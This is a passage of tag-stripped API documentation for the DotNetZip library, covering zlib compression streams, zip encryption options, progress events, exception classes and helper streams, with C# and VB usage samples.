CompressionLevel. + + + The codec will use the maximum window bits (15) and the specified + CompressionLevel. It will emit a ZLIB stream as it compresses. + + The compression level for the codec. + Z_OK if all goes well. + + + + Initialize the ZlibCodec for deflation operation, using the specified CompressionLevel, + and the explicit flag governing whether to emit an RFC1950 header byte pair. + + + The codec will use the maximum window bits (15) and the specified CompressionLevel. + If you want to generate a zlib stream, you should specify true for + wantRfc1950Header. In this case, the library will emit a ZLIB + header, as defined in RFC + 1950, in the compressed stream. + + The compression level for the codec. + whether to emit an initial RFC1950 byte pair in the compressed stream. + Z_OK if all goes well. + + + + Initialize the ZlibCodec for deflation operation, using the specified CompressionLevel, + and the specified number of window bits. + + + The codec will use the specified number of window bits and the specified CompressionLevel. + + The compression level for the codec. + the number of window bits to use. If you don't know what this means, don't use this method. + Z_OK if all goes well. + + + + Initialize the ZlibCodec for deflation operation, using the specified + CompressionLevel, the specified number of window bits, and the explicit flag + governing whether to emit an RFC1950 header byte pair. + + + The compression level for the codec. + whether to emit an initial RFC1950 byte pair in the compressed stream. + the number of window bits to use. If you don't know what this means, don't use this method. + Z_OK if all goes well. + + + + Deflate one batch of data. + + + You must have set InputBuffer and OutputBuffer before calling this method. + + + + private void DeflateBuffer(CompressionLevel level) + { + int bufferSize = 1024; + byte[] buffer = new byte[bufferSize]; + ZlibCodec compressor = new ZlibCodec(); + + Console.WriteLine("\n============================================"); + Console.WriteLine("Size of Buffer to Deflate: {0} bytes.", UncompressedBytes.Length); + MemoryStream ms = new MemoryStream(); + + int rc = compressor.InitializeDeflate(level); + + compressor.InputBuffer = UncompressedBytes; + compressor.NextIn = 0; + compressor.AvailableBytesIn = UncompressedBytes.Length; + + compressor.OutputBuffer = buffer; + + // pass 1: deflate + do + { + compressor.NextOut = 0; + compressor.AvailableBytesOut = buffer.Length; + rc = compressor.Deflate(FlushType.None); + + if (rc != ZlibConstants.Z_OK && rc != ZlibConstants.Z_STREAM_END) + throw new Exception("deflating: " + compressor.Message); + + ms.Write(compressor.OutputBuffer, 0, buffer.Length - compressor.AvailableBytesOut); + } + while (compressor.AvailableBytesIn > 0 || compressor.AvailableBytesOut == 0); + + // pass 2: finish and flush + do + { + compressor.NextOut = 0; + compressor.AvailableBytesOut = buffer.Length; + rc = compressor.Deflate(FlushType.Finish); + + if (rc != ZlibConstants.Z_STREAM_END && rc != ZlibConstants.Z_OK) + throw new Exception("deflating: " + compressor.Message); + + if (buffer.Length - compressor.AvailableBytesOut > 0) + ms.Write(buffer, 0, buffer.Length - compressor.AvailableBytesOut); + } + while (compressor.AvailableBytesIn > 0 || compressor.AvailableBytesOut == 0); + + compressor.EndDeflate(); + + ms.Seek(0, SeekOrigin.Begin); + CompressedBytes = new byte[compressor.TotalBytesOut]; + ms.Read(CompressedBytes, 0, CompressedBytes.Length); + } + + + whether to flush all data as you deflate. Generally you will want to + use Z_NO_FLUSH here, in a series of calls to Deflate(), and then call EndDeflate() to + flush everything. + + Z_OK if all goes well. + + + + End a deflation session. + + + Call this after making a series of one or more calls to Deflate(). All buffers are flushed. + + Z_OK if all goes well. + + + + Reset a codec for another deflation session. + + + Call this to reset the deflation state. For example if a thread is deflating + non-consecutive blocks, you can call Reset() after the Deflate(Sync) of the first + block and before the next Deflate(None) of the second block. + + Z_OK if all goes well. + + + + Set the CompressionStrategy and CompressionLevel for a deflation session. + + the level of compression to use. + the strategy to use for compression. + Z_OK if all goes well. + + + + Set the dictionary to be used for either Inflation or Deflation. + + The dictionary bytes to use. + Z_OK if all goes well. + + + + Set the dictionary to be used for either Inflation or Deflation unconditionally. + + Decoding a MSZip file requires the dictionary state to be set unconditionally + at the end of each block to the previous decoded data + The dictionary bytes to use. + Z_OK if all goes well. + + + + A bunch of constants used in the Zlib interface. + + + + + The maximum number of window bits for the Deflate algorithm. + + + + + The default number of window bits for the Deflate algorithm. + + + + + indicates everything is A-OK + + + + + Indicates that the last operation reached the end of the stream. + + + + + The operation ended in need of a dictionary. + + + + + There was an error with the stream - not enough data, not open and readable, etc. + + + + + There was an error with the data - not enough data, bad data, etc. + + + + + There was an error with the working buffer. + + + + + The size of the working buffer used in the ZlibCodec class. + + + + + The minimum size of the working buffer used in the ZlibCodec class. + + + + + Represents a Zlib stream for compression or decompression. + + + + + The ZlibStream is a Decorator on a . It adds ZLIB compression or decompression to any + stream. + + + Using this stream, applications can compress or decompress data via + stream Read() and Write() operations. Either compresssion or + decompression can occur through either reading or writing. The compression + format used is ZLIB, which is documented in IETF RFC 1950, "ZLIB Compressed + Data Format Specification version 3.3". This implementation of ZLIB always uses + DEFLATE as the compression method. (see IETF RFC 1951, "DEFLATE + Compressed Data Format Specification version 1.3.") + + + The ZLIB format allows for varying compression methods, window sizes, and dictionaries. + This implementation always uses the DEFLATE compression method, a preset dictionary, + and 15 window bits by default. + + + + This class is similar to , except that it adds the + RFC1950 header and trailer bytes to a compressed stream when compressing, or expects + the RFC1950 header and trailer bytes when decompressing. It is also similar to the + . + + + + + + + + Create a ZlibStream using the specified CompressionMode. + + + + + When mode is CompressionMode.Compress, the ZlibStream + will use the default compression level. The "captive" stream will be + closed when the ZlibStream is closed. + + + + + + This example uses a ZlibStream to compress a file, and writes the + compressed data to another file. + + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(fileToCompress + ".zlib")) + { + using (Stream compressor = new ZlibStream(raw, CompressionMode.Compress)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n; + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(fileToCompress & ".zlib") + Using compressor As Stream = New ZlibStream(raw, CompressionMode.Compress) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + + The stream which will be read or written. + Indicates whether the ZlibStream will compress or decompress. + + + + Create a ZlibStream using the specified CompressionMode and + the specified CompressionLevel. + + + + + + When mode is CompressionMode.Decompress, the level parameter is ignored. + The "captive" stream will be closed when the ZlibStream is closed. + + + + + + This example uses a ZlibStream to compress data from a file, and writes the + compressed data to another file. + + + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(fileToCompress + ".zlib")) + { + using (Stream compressor = new ZlibStream(raw, + CompressionMode.Compress, + CompressionLevel.BestCompression)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n; + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(fileToCompress & ".zlib") + Using compressor As Stream = New ZlibStream(raw, CompressionMode.Compress, CompressionLevel.BestCompression) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + + The stream to be read or written while deflating or inflating. + Indicates whether the ZlibStream will compress or decompress. + A tuning knob to trade speed for effectiveness. + + + + Create a ZlibStream using the specified CompressionMode, and + explicitly specify whether the captive stream should be left open after + Deflation or Inflation. + + + + + + When mode is CompressionMode.Compress, the ZlibStream will use + the default compression level. + + + + This constructor allows the application to request that the captive stream + remain open after the deflation or inflation occurs. By default, after + Close() is called on the stream, the captive stream is also + closed. In some cases this is not desired, for example if the stream is a + that will be re-read after + compression. Specify true for the parameter to leave the stream + open. + + + + See the other overloads of this constructor for example code. + + + + + The stream which will be read or written. This is called the + "captive" stream in other places in this documentation. + Indicates whether the ZlibStream will compress or decompress. + true if the application would like the stream to remain + open after inflation/deflation. + + + + Create a ZlibStream using the specified CompressionMode + and the specified CompressionLevel, and explicitly specify + whether the stream should be left open after Deflation or Inflation. + + + + + + This constructor allows the application to request that the captive + stream remain open after the deflation or inflation occurs. By + default, after Close() is called on the stream, the captive + stream is also closed. In some cases this is not desired, for example + if the stream is a that will be + re-read after compression. Specify true for the parameter to leave the stream open. + + + + When mode is CompressionMode.Decompress, the level parameter is + ignored. + + + + + + + This example shows how to use a ZlibStream to compress the data from a file, + and store the result into another file. The filestream remains open to allow + additional data to be written to it. + + + using (var output = System.IO.File.Create(fileToCompress + ".zlib")) + { + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (Stream compressor = new ZlibStream(output, CompressionMode.Compress, CompressionLevel.BestCompression, true)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n; + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + // can write additional data to the output stream here + } + + + Using output As FileStream = File.Create(fileToCompress & ".zlib") + Using input As Stream = File.OpenRead(fileToCompress) + Using compressor As Stream = New ZlibStream(output, CompressionMode.Compress, CompressionLevel.BestCompression, True) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + ' can write additional data to the output stream here. + End Using + + + + The stream which will be read or written. + + Indicates whether the ZlibStream will compress or decompress. + + + true if the application would like the stream to remain open after + inflation/deflation. + + + + A tuning knob to trade speed for effectiveness. This parameter is + effective only when mode is CompressionMode.Compress. + + + + + This property sets the flush behavior on the stream. + Sorry, though, not sure exactly how to describe all the various settings. + + + + + The size of the working buffer for the compression codec. + + + + + The working buffer is used for all stream operations. The default size is + 1024 bytes. The minimum size is 128 bytes. You may get better performance + with a larger buffer. Then again, you might not. You would have to test + it. + + + + Set this before the first call to Read() or Write() on the + stream. If you try to set it afterwards, it will throw. + + + + + Returns the total number of bytes input so far. + + + Returns the total number of bytes output so far. + + + + Dispose the stream. + + + + This may or may not result in a Close() call on the captive + stream. See the constructors that have a leaveOpen parameter + for more information. + + + This method may be invoked in two distinct scenarios. If disposing + == true, the method has been called directly or indirectly by a + user's code, for example via the public Dispose() method. In this + case, both managed and unmanaged resources can be referenced and + disposed. If disposing == false, the method has been called by the + runtime from inside the object finalizer and this method should not + reference other objects; in that case only unmanaged resources must + be referenced or disposed. + + + + indicates whether the Dispose method was invoked by user code. + + + + + Indicates whether the stream can be read. + + + The return value depends on whether the captive stream supports reading. + + + + + Indicates whether the stream supports Seek operations. + + + Always returns false. + + + + + Indicates whether the stream can be written. + + + The return value depends on whether the captive stream supports writing. + + + + + Flush the stream. + + + + + Reading this property always throws a . + + + + + The position of the stream pointer. + + + + Setting this property always throws a . Reading will return the total bytes + written out, if used in writing, or the total bytes read in, if used in + reading. The count may refer to compressed bytes or uncompressed bytes, + depending on how you've used the stream. + + + + + Read data from the stream. + + + + + + If you wish to use the ZlibStream to compress data while reading, + you can create a ZlibStream with CompressionMode.Compress, + providing an uncompressed data stream. Then call Read() on that + ZlibStream, and the data read will be compressed. If you wish to + use the ZlibStream to decompress data while reading, you can create + a ZlibStream with CompressionMode.Decompress, providing a + readable compressed data stream. Then call Read() on that + ZlibStream, and the data will be decompressed as it is read. + + + + A ZlibStream can be used for Read() or Write(), but + not both. + + + + + + The buffer into which the read data should be placed. + + + the offset within that data array to put the first byte read. + + the number of bytes to read. + + the number of bytes read + + + + Calling this method always throws a . + + + The offset to seek to.... + IF THIS METHOD ACTUALLY DID ANYTHING. + + + The reference specifying how to apply the offset.... IF + THIS METHOD ACTUALLY DID ANYTHING. + + + nothing. This method always throws. + + + + Calling this method always throws a . + + + The new value for the stream length.... IF + THIS METHOD ACTUALLY DID ANYTHING. + + + + + Write data to the stream. + + + + + + If you wish to use the ZlibStream to compress data while writing, + you can create a ZlibStream with CompressionMode.Compress, + and a writable output stream. Then call Write() on that + ZlibStream, providing uncompressed data as input. The data sent to + the output stream will be the compressed form of the data written. If you + wish to use the ZlibStream to decompress data while writing, you + can create a ZlibStream with CompressionMode.Decompress, and a + writable output stream. Then call Write() on that stream, + providing previously compressed data. The data sent to the output stream + will be the decompressed form of the data written. + + + + A ZlibStream can be used for Read() or Write(), but not both. + + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Compress a string into a byte array using ZLIB. + + + + Uncompress it with . + + + + + + + + A string to compress. The string will first be encoded + using UTF8, then compressed. + + + The string in compressed form + + + + Compress a byte array into a new byte array using ZLIB. + + + + Uncompress it with . + + + + + + + A buffer to compress. + + + The data in compressed form + + + + Uncompress a ZLIB-compressed byte array into a single string. + + + + + + + A buffer containing ZLIB-compressed data. + + + The uncompressed string + + + + Uncompress a ZLIB-compressed byte array into a byte array. + + + + + + + A buffer containing ZLIB-compressed data. + + + The data in uncompressed form + + + + This class exposes a set of COM-accessible wrappers for static + methods available on the ZipFile class. You don't need this + class unless you are using DotNetZip from a COM environment. + + + + + A wrapper for ZipFile.IsZipFile(string) + + The filename to of the zip file to check. + true if the file contains a valid zip file. + + + + A wrapper for ZipFile.IsZipFile(string, bool) + + + We cannot use "overloaded" Method names in COM interop. + So, here, we use a unique name. + + The filename to of the zip file to check. + true if the file contains a valid zip file. + + + + A wrapper for ZipFile.CheckZip(string) + + The filename to of the zip file to check. + + true if the named zip file checks OK. Otherwise, false. + + + + A COM-friendly wrapper for the static method . + + + The filename to of the zip file to check. + + The password to check. + + true if the named zip file checks OK. Otherwise, false. + + + + A wrapper for ZipFile.FixZipDirectory(string) + + The filename to of the zip file to fix. + + + + A wrapper for ZipFile.LibraryVersion + + + the version number on the DotNetZip assembly, formatted as a string. + + + + Total bits available in the input buffer. + + + Total bytes available in the input buffer. + + + Ensure that count bits are in the bit buffer. + Can be up to 16. + Returns false if input is not sufficient to make this true. + + + + This function will try to load 16 or more bits into bitBuffer. + It returns whatever is contained in bitBuffer after loading. + The main difference between this and GetBits is that this will + never return -1. So the caller needs to check AvailableBits to + see how many bits are available. + + + + Gets count bits from the input buffer. Returns -1 if not enough bits available. + + + + Copies length bytes from input buffer to output buffer starting at output[offset]. + You have to make sure, that the buffer is byte aligned. If not enough bytes are + available, copies fewer bytes. + + Returns the number of bytes copied, 0 if no byte is available. + + + + Return true is all input bytes are used. + This means the caller can call SetInput to add more input. + + + + + Set the byte array to be processed. + All the bits remained in bitBuffer will be processed before the new bytes. + We don't clone the byte array here since it is expensive. + The caller should make sure after a buffer is passed in. + It will not be changed before calling this function again. + + + + Skip n bits in the buffer. + + + Skips to the next byte boundary. + + + + This class maintains a window for decompressed output. + We need to keep this because the decompressed information can be + a literal or a length/distance pair. For length/distance pair, + we need to look back in the output window and copy bytes from there. + We use a byte array of WindowSize circularly. + + + + Add a byte to output window. + + + + Copy up to length of bytes from input directly. + This is used for uncompressed block. + + + + Free space in output window. + + + Bytes not consumed in output window. + + + Copy the decompressed bytes to output array. + + + + An enum that provides the various encryption algorithms supported by this + library. + + + + + + PkzipWeak implies the use of Zip 2.0 encryption, which is known to be + weak and subvertible. + + + + A note on interoperability: Values of PkzipWeak and None are + specified in PKWARE's zip + specification, and are considered to be "standard". Zip archives + produced using these options will be interoperable with many other zip tools + and libraries, including Windows Explorer. + + + + Values of WinZipAes128 and WinZipAes256 are not part of the Zip + specification, but rather imply the use of a vendor-specific extension from + WinZip. If you want to produce interoperable Zip archives, do not use these + values. For example, if you produce a zip archive using WinZipAes256, you + will be able to open it in Windows Explorer on Windows XP and Vista, but you + will not be able to extract entries; trying this will lead to an "unspecified + error". For this reason, some people have said that a zip archive that uses + WinZip's AES encryption is not actually a zip archive at all. A zip archive + produced this way will be readable with the WinZip tool (Version 11 and + beyond). + + + + There are other third-party tools and libraries, both commercial and + otherwise, that support WinZip's AES encryption. These will be able to read + AES-encrypted zip archives produced by DotNetZip, and conversely applications + that use DotNetZip to read zip archives will be able to read AES-encrypted + archives produced by those tools or libraries. Consult the documentation for + those other tools and libraries to find out if WinZip's AES encryption is + supported. + + + + In case you care: According to the WinZip specification, the + actual AES key used is derived from the via an + algorithm that complies with RFC 2898, using an iteration + count of 1000. The algorithm is sometimes referred to as PBKDF2, which stands + for "Password Based Key Derivation Function #2". + + + + A word about password strength and length: The AES encryption technology is + very good, but any system is only as secure as the weakest link. If you want + to secure your data, be sure to use a password that is hard to guess. To make + it harder to guess (increase its "entropy"), you should make it longer. If + you use normal characters from an ASCII keyboard, a password of length 20 will + be strong enough that it will be impossible to guess. For more information on + that, I'd encourage you to read this + article. + + + + + + + No encryption at all. + + + + + Traditional or Classic pkzip encryption. + + + + + WinZip AES encryption (128 key bits). + + + + + WinZip AES encryption (256 key bits). + + + + + An encryption algorithm that is not supported by DotNetZip. + + + + + Delegate in which the application writes the ZipEntry content for the named entry. + + + The name of the entry that must be written. + The stream to which the entry data should be written. + + + When you add an entry and specify a WriteDelegate, via , the application + code provides the logic that writes the entry data directly into the zip file. + + + + + This example shows how to define a WriteDelegate that obtains a DataSet, and then + writes the XML for the DataSet into the zip archive. There's no need to + save the XML to a disk file first. + + + private void WriteEntry (String filename, Stream output) + { + DataSet ds1 = ObtainDataSet(); + ds1.WriteXml(output); + } + + private void Run() + { + using (var zip = new ZipFile()) + { + zip.AddEntry(zipEntryName, WriteEntry); + zip.Save(zipFileName); + } + } + + + + Private Sub WriteEntry (ByVal filename As String, ByVal output As Stream) + DataSet ds1 = ObtainDataSet() + ds1.WriteXml(stream) + End Sub + + Public Sub Run() + Using zip = New ZipFile + zip.AddEntry(zipEntryName, New WriteDelegate(AddressOf WriteEntry)) + zip.Save(zipFileName) + End Using + End Sub + + + + + + + Delegate in which the application opens the stream, just-in-time, for the named entry. + + + + The name of the ZipEntry that the application should open the stream for. + + + + When you add an entry via , the application code provides the logic that + opens and closes the stream for the given ZipEntry. + + + + + + + Delegate in which the application closes the stream, just-in-time, for the named entry. + + + + The name of the ZipEntry that the application should close the stream for. + + + The stream to be closed. + + + When you add an entry via , the application code provides the logic that + opens and closes the stream for the given ZipEntry. + + + + + + + Delegate for the callback by which the application tells the + library the CompressionLevel to use for a file. + + + + + Using this callback, the application can, for example, specify that + previously-compressed files (.mp3, .png, .docx, etc) should use a + CompressionLevel of None, or can set the compression level based + on any other factor. + + + + + + + In an EventArgs type, indicates which sort of progress event is being + reported. + + + There are events for reading, events for saving, and events for + extracting. This enumeration allows a single EventArgs type to be sued to + describe one of multiple subevents. For example, a SaveProgress event is + invoked before, after, and during the saving of a single entry. The value + of an enum with this type, specifies which event is being triggered. The + same applies to Extraction, Reading and Adding events. + + + + + Indicates that a Add() operation has started. + + + + + Indicates that an individual entry in the archive has been added. + + + + + Indicates that a Add() operation has completed. + + + + + Indicates that a Read() operation has started. + + + + + Indicates that an individual entry in the archive is about to be read. + + + + + Indicates that an individual entry in the archive has just been read. + + + + + Indicates that a Read() operation has completed. + + + + + The given event reports the number of bytes read so far + during a Read() operation. + + + + + Indicates that a Save() operation has started. + + + + + Indicates that an individual entry in the archive is about to be written. + + + + + Indicates that an individual entry in the archive has just been saved. + + + + + Indicates that a Save() operation has completed. + + + + + Indicates that the zip archive has been created in a + temporary location during a Save() operation. + + + + + Indicates that the temporary file is about to be renamed to the final archive + name during a Save() operation. + + + + + Indicates that the temporary file is has just been renamed to the final archive + name during a Save() operation. + + + + + Indicates that the self-extracting archive has been compiled + during a Save() operation. + + + + + The given event is reporting the number of source bytes that have run through the compressor so far + during a Save() operation. + + + + + Indicates that an entry is about to be extracted. + + + + + Indicates that an entry has just been extracted. + + + + + Indicates that extraction of an entry would overwrite an existing + filesystem file. You must use + + ExtractExistingFileAction.InvokeExtractProgressEvent in the call + to ZipEntry.Extract() in order to receive this event. + + + + + The given event is reporting the number of bytes written so far for + the current entry during an Extract() operation. + + + + + Indicates that an ExtractAll operation is about to begin. + + + + + Indicates that an ExtractAll operation has completed. + + + + + Indicates that an error has occurred while saving a zip file. + This generally means the file cannot be opened, because it has been + removed, or because it is locked by another process. It can also + mean that the file cannot be Read, because of a range lock conflict. + + + + + Provides information about the progress of a save, read, or extract operation. + This is a base class; you will probably use one of the classes derived from this one. + + + + + The total number of entries to be saved or extracted. + + + + + The name of the last entry saved or extracted. + + + + + In an event handler, set this to cancel the save or extract + operation that is in progress. + + + + + The type of event being reported. + + + + + Returns the archive name associated to this event. + + + + + The number of bytes read or written so far for this entry. + + + + + Total number of bytes that will be read or written for this entry. + This number will be -1 if the value cannot be determined. + + + + + Provides information about the progress of a Read operation. + + + + + Provides information about the progress of a Add operation. + + + + + Provides information about the progress of a save operation. + + + + + Constructor for the SaveProgressEventArgs. + + the name of the zip archive. + whether this is before saving the entry, or after + The total number of entries in the zip archive. + Number of entries that have been saved. + The entry involved in the event. + + + + Number of entries saved so far. + + + + + Provides information about the progress of the extract operation. + + + + + Constructor for the ExtractProgressEventArgs. + + the name of the zip archive. + whether this is before saving the entry, or after + The total number of entries in the zip archive. + Number of entries that have been extracted. + The entry involved in the event. + The location to which entries are extracted. + + + + Number of entries extracted so far. This is set only if the + EventType is Extracting_BeforeExtractEntry or Extracting_AfterExtractEntry, and + the Extract() is occurring witin the scope of a call to ExtractAll(). + + + + + Returns the extraction target location, a filesystem path. + + + + + Provides information about the an error that occurred while zipping. + + + + + Returns the exception that occurred, if any. + + + + + Returns the name of the file that caused the exception, if any. + + + + + Issued when an ZipEntry.ExtractWithPassword() method is invoked + with an incorrect password. + + + + + Default ctor. + + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + The innerException for this exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The serialization info for the exception. + The streaming context from which to deserialize. + + + + Indicates that a read was attempted on a stream, and bad or incomplete data was + received. + + + + + Default ctor. + + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + The innerException for this exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The serialization info for the exception. + The streaming context from which to deserialize. + + + + Issued when an CRC check fails upon extracting an entry from a zip archive. + + + + + Default ctor. + + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The serialization info for the exception. + The streaming context from which to deserialize. + + + + Issued when errors occur saving a self-extracting archive. + + + + + Default ctor. + + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The serialization info for the exception. + The streaming context from which to deserialize. + + + + Indicates that an operation was attempted on a ZipFile which was not possible + given the state of the instance. For example, if you call Save() on a ZipFile + which has no filename set, you can get this exception. + + + + + Default ctor. + + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + The innerException for this exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The serialization info for the exception. + The streaming context from which to deserialize. + + + + Base class for all exceptions defined by and throw by the Zip library. + + + + + Default ctor. + + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + The innerException for this exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The serialization info for the exception. + The streaming context from which to deserialize. + + + + An enum for the options when extracting an entry would overwrite an existing file. + + + + + This enum describes the actions that the library can take when an + Extract() or ExtractWithPassword() method is called to extract an + entry to a filesystem, and the extraction would overwrite an existing filesystem + file. + + + + + + + Throw an exception when extraction would overwrite an existing file. (For + COM clients, this is a 0 (zero).) + + + + + When extraction would overwrite an existing file, overwrite the file silently. + The overwrite will happen even if the target file is marked as read-only. + (For COM clients, this is a 1.) + + + + + When extraction would overwrite an existing file, don't overwrite the file, silently. + (For COM clients, this is a 2.) + + + + + When extraction would overwrite an existing file, invoke the ExtractProgress + event, using an event type of . In + this way, the application can decide, just-in-time, whether to overwrite the + file. For example, a GUI application may wish to pop up a dialog to allow + the user to choose. You may want to examine the property before making + the decision. If, after your processing in the Extract progress event, you + want to NOT extract the file, set + on the ZipProgressEventArgs.CurrentEntry to DoNotOverwrite. + If you do want to extract the file, set ZipEntry.ExtractExistingFile + to OverwriteSilently. If you want to cancel the Extraction, set + ZipProgressEventArgs.Cancel to true. Cancelling differs from using + DoNotOverwrite in that a cancel will not extract any further entries, if + there are any. (For COM clients, the value of this enum is a 3.) + + + + + Collects general purpose utility methods. + + + + private null constructor + + + + Utility routine for transforming path names from filesystem format (on Windows that means backslashes) to + a format suitable for use within zipfiles. This means trimming the volume letter and colon (if any) And + swapping backslashes for forward slashes. + + source path. + transformed path + + + + Sanitize paths in zip files. This means making sure that relative paths in a zip file don't go outside + the top directory. Entries like something/../../../../Temp/evil.txt get sanitized to Temp/evil.txt + when extracting + + A path with forward slashes as directory separator + sanitized path + + + + Finds a signature in the zip stream. This is useful for finding + the end of a zip entry, for example, or the beginning of the next ZipEntry. + + + + + Scans through 64k at a time. + + + + If the method fails to find the requested signature, the stream Position + after completion of this method is unchanged. If the method succeeds in + finding the requested signature, the stream position after completion is + direct AFTER the signature found in the stream. + + + + The stream to search + The 4-byte signature to find + The number of bytes read + + + + Create a pseudo-random filename, suitable for use as a temporary + file, and open it. + + + + This method produces a filename of the form + DotNetZip-xxxxxxxx.tmp, where xxxxxxxx is replaced by randomly + chosen characters, and creates that file. + + + + + + Workitem 7889: handle ERROR_LOCK_VIOLATION during read + + + This could be gracefully handled with an extension attribute, but + This assembly used to be built for .NET 2.0, so could not use + extension methods. + + + + + A decorator stream. It wraps another stream, and performs bookkeeping + to keep track of the stream Position. + + + + In some cases, it is not possible to get the Position of a stream, let's + say, on a write-only output stream like ASP.NET's + Response.OutputStream, or on a different write-only stream + provided as the destination for the zip by the application. In this + case, programmers can use this counting stream to count the bytes read + or written. + + + Consider the scenario of an application that saves a self-extracting + archive (SFX), that uses a custom SFX stub. + + + Saving to a filesystem file, the application would open the + filesystem file (getting a FileStream), save the custom sfx stub + into it, and then call ZipFile.Save(), specifying the same + FileStream. ZipFile.Save() does the right thing for the zipentry + offsets, by inquiring the Position of the FileStream before writing + any data, and then adding that initial offset into any ZipEntry + offsets in the zip directory. Everything works fine. + + + Now suppose the application is an ASPNET application and it saves + directly to Response.OutputStream. It's not possible for DotNetZip to + inquire the Position, so the offsets for the SFX will be wrong. + + + The workaround is for the application to use this class to wrap + HttpResponse.OutputStream, then write the SFX stub and the ZipFile + into that wrapper stream. Because ZipFile.Save() can inquire the + Position, it will then do the right thing with the offsets. + + + + + + The constructor. + + The underlying stream + + + + Gets the wrapped stream. + + + + + The count of bytes written out to the stream. + + + + + the count of bytes that have been read from the stream. + + + + + Adjust the byte count on the stream. + + + + the number of bytes to subtract from the count. + + + + + Subtract delta from the count of bytes written to the stream. + This is necessary when seeking back, and writing additional data, + as happens in some cases when saving Zip files. + + + + + + The read method. + + The buffer to hold the data read from the stream. + the offset within the buffer to copy the first byte read. + the number of bytes to read. + the number of bytes read, after decryption and decompression. + + + + Write data into the stream. + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Whether the stream can be read. + + + + + Whether it is possible to call Seek() on the stream. + + + + + Whether it is possible to call Write() on the stream. + + + + + Flushes the underlying stream. + + + + + The length of the underlying stream. + + + + + Returns the sum of number of bytes written, plus the initial + offset before writing. + + + + + The Position of the stream. + + + + + Seek in the stream. + + the offset point to seek to + the reference point from which to seek + The new position + + + + Set the length of the underlying stream. Be careful with this! + + + the length to set on the underlying stream. + + + + This is a helper class supporting WinZip AES encryption. + This class is intended for use only by the DotNetZip library. + + + + Most uses of the DotNetZip library will not involve direct calls into + the WinZipAesCrypto class. Instead, the WinZipAesCrypto class is + instantiated and used by the ZipEntry() class when WinZip AES + encryption or decryption on an entry is employed. + + + + + A stream that encrypts as it writes, or decrypts as it reads. The + Crypto is AES in CTR (counter) mode, which is compatible with the AES + encryption employed by WinZip 12.0. + + + + The AES/CTR encryption protocol used by WinZip works like this: + + - start with a counter, initialized to zero. + + - to encrypt, take the data by 16-byte blocks. For each block: + - apply the transform to the counter + - increement the counter + - XOR the result of the transform with the plaintext to + get the ciphertext. + - compute the mac on the encrypted bytes + - when finished with all blocks, store the computed MAC. + + - to decrypt, take the data by 16-byte blocks. For each block: + - compute the mac on the encrypted bytes, + - apply the transform to the counter + - increement the counter + - XOR the result of the transform with the ciphertext to + get the plaintext. + - when finished with all blocks, compare the computed MAC against + the stored MAC + + + + + + + The constructor. + + The underlying stream + To either encrypt or decrypt. + The pre-initialized WinZipAesCrypto object. + The maximum number of bytes to read from the stream. + + + + Returns the final HMAC-SHA1-80 for the data that was encrypted. + + + + + Close the stream. + + + + + Returns true if the stream can be read. + + + + + Always returns false. + + + + + Returns true if the CryptoMode is Encrypt. + + + + + Flush the content in the stream. + + + + + Getting this property throws a NotImplementedException. + + + + + Getting or Setting this property throws a NotImplementedException. + + + + + This method throws a NotImplementedException. + + + + + This method throws a NotImplementedException. + + + + + This class implements the "traditional" or "classic" PKZip encryption, + which today is considered to be weak. On the other hand it is + ubiquitous. This class is intended for use only by the DotNetZip + library. + + + + Most uses of the DotNetZip library will not involve direct calls into + the ZipCrypto class. Instead, the ZipCrypto class is instantiated and + used by the ZipEntry() class when encryption or decryption on an entry + is employed. If for some reason you really wanted to use a weak + encryption algorithm in some other application, you might use this + library. But you would be much better off using one of the built-in + strong encryption libraries in the .NET Framework, like the AES + algorithm or SHA. + + + + + The default constructor for ZipCrypto. + + + + This class is intended for internal use by the library only. It's + probably not useful to you. Seriously. Stop reading this + 